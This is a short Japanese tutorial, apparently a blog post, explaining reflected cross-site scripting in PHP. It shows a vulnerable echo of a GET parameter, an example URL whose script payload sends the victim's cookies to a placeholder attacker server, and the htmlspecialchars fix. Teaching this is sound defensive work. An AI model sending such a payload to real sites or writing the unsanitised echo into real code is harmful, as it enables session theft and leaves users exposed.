★パターン1:
◆攻撃内容
・リンクを踏ませる事で、悪意あるクライアント・サイド・スクリプト(JavaScriptやVBScript)を実行させる
◆脆弱性のある書き方例
echo $_GET[‘id’];
◆攻撃例
・メールなどで以下URLを送り、攻撃ターゲットに対して踏ませる
http://(脆弱性コードのある攻撃目標サーバー)/index.php?id=<script>document.location=’http://(攻撃者のサーバー)/?’+document.cookie</script>
◆攻撃結果
上記URLを踏んでしまった場合、
idのパラメータにあるJavaScriptが実行されてしまいます。
その場合、「攻撃者のサーバー」に攻撃ターゲットのクッキー情報が送られてしまいます。
◆対策方法
・サニタイズ
今回の問題は、ユーザーが入力した値がそのまま出力される事に問題があります。(「<」などの文字が)
よって文字列を出力する際にサニタイズ(無毒化)しておきます。
//$output_string ・・・ 出力文字列
$output_string = htmlspecialchars($output_string, ENT_QUOTES);
◆備考
・もしこれがメールソフトでHTMLメールを開き、そこに悪意のあるvbsがあった場合、
アドレス帳などの漏洩など様々な被害が考えられます。
コメント